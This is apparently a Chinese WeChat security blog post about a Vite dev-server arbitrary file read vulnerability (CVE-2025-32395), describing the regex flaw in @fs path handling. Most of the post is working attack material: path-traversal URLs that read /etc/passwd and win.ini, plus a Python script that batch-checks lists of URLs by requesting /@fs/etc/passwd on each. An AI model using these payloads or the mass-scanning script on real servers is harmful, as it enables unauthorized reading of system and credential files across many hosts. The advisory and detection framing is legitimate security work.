声明:请勿利用文章内的相关技术从事非法测试,由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,淮橘安全及文章作者不为此承担任何责任。
现在只对常读和星标的公众号才展示大图推送,建议大家能把“设为星标”,否则可能就看不到了啦!每日为大家推送0day,1day,好用的工具供大家学习
0x01 漏洞描述
近日,Vite框架曝出了一项高危漏洞——CVE-2025-32395,该漏洞可能导致任意文件读取,对广大开发者而言,带来不小的安全隐患。作为广受欢迎的前端构建工具,Vite的这个漏洞需要引起开发者的高度关注,尤其是在项目中使用Vite框架的开发者。
0x02 漏洞原理
该漏洞源于Vite框架中正则表达式的缺陷,具体表现为在处理URL参数时,未对路径进行充分的安全性检查,攻击者可以利用这一缺陷,通过构造特殊的路径绕过安全控制,读取系统中的任意文件。
攻击者通过发送特制的请求,访问Vite服务中的路径,如 @fs/
,即可绕过安全防护,访问本应受限的系统文件。比如,攻击者可以通过访问以下路径:
http://localhost:5173/@fs/root/pseudocat/#/../../../../../etc/passwd
来读取服务器上的敏感文件 passwd
,暴露系统中的用户信息。这意味着攻击者能够窃取到系统内的关键信息,甚至完全掌控服务器。
0x03 漏洞复现
npm init vite@latest
# 选择框架并安装依赖
npm install
npm run dev
http://localhost:5173/@fs/root/pseudocat/#/../../../../../C://windows/win.ini
http://localhost:5173/@fs/root/pseudocat/#/../../../../../etc/passwd
0x04 批量检测POC
使用方法:
-h, --help show this help message and exit
-u URL, --url URL 单个URL进行检测
-f FILE, --file FILE 从文件中读取URL进行批量检测
python脚本
import requests
import argparse
# 检查漏洞的函数
def check_vulnerability(url):
vulnerable_path = "/@fs/etc/passwd" # 漏洞路径
test_url = f"{url}{vulnerable_path}"
try:
response = requests.get(test_url)
# 如果返回的状态码是200且包含敏感信息(如/etc/passwd内容),则漏洞存在
if response.status_code == 200 and "root" in response.text:
print(f"[漏洞检测成功] {test_url} 存在漏洞!")
else:
print(f"[漏洞检测失败] {test_url} 没有发现漏洞。")
except requests.exceptions.RequestException as e:
print(f"[错误] 请求失败: {e}")
# 从文件中读取URL并检测漏洞
def check_from_file(file_path):
try:
with open(file_path, 'r') as f:
urls = f.readlines()
urls = [url.strip() for url in urls if url.strip()] # 去掉空行
for url in urls:
check_vulnerability(url)
except FileNotFoundError:
print(f"[错误] 文件 {file_path} 未找到!")
# 解析命令行参数
def parse_args():
parser = argparse.ArgumentParser(description="批量检测Vite框架漏洞(CVE-2025-32395)")
parser.add_argument("-u", "--url", help="单个URL进行检测", type=str)
parser.add_argument("-f", "--file", help="从文件中读取URL进行批量检测", type=str)
return parser.parse_args()
# 主函数
def main():
args = parse_args()
if args.url:
check_vulnerability(args.url)
elif args.file:
check_from_file(args.file)
else:
print("[错误] 请提供 URL 或文件进行检测。")
print("使用 -h 查看帮助信息。")
if __name__ == "__main__":
main()
原文始发于微信公众号(淮橘安全):开发者注意!Vite框架曝高危漏洞,你的项目受影响了吗?(含poc和批量脚本)
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论